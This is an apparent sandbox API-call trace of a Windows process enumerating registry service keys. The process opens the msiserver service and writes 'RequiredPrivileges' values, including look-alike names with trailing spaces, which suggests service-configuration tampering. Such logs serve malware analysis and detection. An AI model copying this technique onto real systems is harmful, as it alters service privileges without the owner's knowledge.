[0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0244.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0244.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0244.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0244.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0244.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0244.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0244.011] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0244.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0244.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0244.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0244.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0244.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0244.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0244.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0244.012] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0244.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0244.062] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0244.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0244.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0244.063] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0244.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0244.063] RegCloseKey (hKey=0x150) returned 0x0 [0244.063] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0244.063] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0244.063] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0244.063] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0244.063] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0244.063] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0244.064] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0244.064] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0244.064] RegCloseKey (hKey=0x80000002) returned 0x0 [0244.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0244.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0244.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0244.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0244.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0244.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0244.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0244.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0244.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0244.065] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0244.065] RegCloseKey (hKey=0xc4) returned 0x0 [0244.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0244.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0244.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0244.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0244.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0244.065] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0244.065] RegCloseKey (hKey=0x150) returned 0x0 [0244.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0244.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0244.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0244.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0244.066] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0244.066] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0244.066] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0244.066] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0244.066] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0244.067] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.067] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.067] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.067] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.067] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.067] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.067] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.067] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.067] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.067] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.068] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.068] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.068] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.068] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.068] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.068] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0244.068] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0244.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0244.068] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0244.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0244.068] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.068] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.069] 